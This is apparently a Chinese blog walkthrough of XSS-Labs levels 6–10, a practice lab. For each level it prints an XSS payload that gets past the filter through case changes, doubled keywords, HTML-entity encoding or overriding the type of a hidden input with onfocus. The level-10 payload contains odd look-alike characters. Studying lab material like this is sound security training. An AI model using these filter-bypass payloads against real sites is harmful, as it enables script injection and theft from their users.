【XSS-Labs】关卡 6-10

Level 6

尝试关卡5的绕过方式,发现对href进行了替换

"> <a href="javascript:alert(1)">linka>

在这里插入图片描述
不能使用href,也就是不能使用a标签,尝试img标签依然失败

<input name=keyword  value=""> <img sr_c="javascript:alert(1)">">

尝试在a标签中加入大小写hRef,成功绕过
【XSS-Labs】关卡 6-10_第1张图片
POC:

"> <a hRef="javascript:alert(1)">linka>

Level 7

输入第六关的绕过代码,结果如下:
在这里插入图片描述
可见对href以及script量关键字进行了过滤,尝试双写绕过,成功执行
【XSS-Labs】关卡 6-10_第2张图片
POC:

"> <a hrhrefef="javascscriptript:alert(1)">linka>

Level 8

界面如下:
【XSS-Labs】关卡 6-10_第3张图片
输入了aaa提交,无任何反应,尝试点击友情链接,发现会将提交书记当作url访问
【XSS-Labs】关卡 6-10_第4张图片
输入JavaScript:alert(1),结果对script进行了过滤,将其转换为scr_ipt
【XSS-Labs】关卡 6-10_第5张图片
尝试进行编码unicode编码:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

成功执行
【XSS-Labs】关卡 6-10_第6张图片
POC:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

Level 9

界面与关卡8相同,输入aaa,链接也米娜如下
【XSS-Labs】关卡 6-10_第7张图片
查看源码,链接href为指定数据
【XSS-Labs】关卡 6-10_第8张图片
尝试发现,在输入中必须包含http://才视为合法链接
在这里插入图片描述
【XSS-Labs】关卡 6-10_第9张图片
输入javascript:alert(1)http://尝试,发现对script进行了替换
【XSS-Labs】关卡 6-10_第10张图片
javascript进行实体编码:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;

在这里插入图片描述
其实只需要对script中的t进行实体编码即可:javascript:alert(1)http://
在这里插入图片描述
成功提交
【XSS-Labs】关卡 6-10_第11张图片
POC:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(1)//http://

Level 10

界面如下
【XSS-Labs】关卡 6-10_第12张图片
给url中的keyword赋值没有效果,查看源码,发现了三个隐藏的表单
在这里插入图片描述
在url中进行赋值提交,发现只有第三个表单起作用
【XSS-Labs】关卡 6-10_第13张图片
尝试引号和尖括号是否被过滤,发现已经被过滤,因此只能利用表单事件:onfocus
在这里插入图片描述
由于表单被隐藏,所以无法聚焦,因此采用重定义type在原type前重定义type为空
在这里插入图片描述
此时表单三已经出现
【XSS-Labs】关卡 6-10_第14张图片
聚焦表单内,成功执行
【XSS-Labs】关卡 6-10_第15张图片
此时的表单代码如下:
【XSS-Labs】关卡 6-10_第16张图片
POC:

" οnfοcus="javascrript:alert(1)" type="

总结:

  • 关卡6:同5替换on,触发事件不可用,使用伪链接替换触发事件 + 大小写绕过href替换过滤
"> <a hRef="javascript:alert(1)">linka>
  • 关卡7:同关卡6,直接替换为空,因此使用双写绕过
"> <a hrhrefef="javascscriptript:alert(1)">linka>
  • 关卡8:替换过滤Script,因此使用unicode编码绕过
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;
  • 关卡9:同8,编码绕过
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(1)//http://
  • 关卡10:隐藏了表单,过滤了特殊符号,因此采用表单事件绕过特殊符号点 + 表单类型重写绕过隐藏表单点
" οnfοcus="javascrript:alert(1)" type="

你可能感兴趣的:(#,XSS-Labs)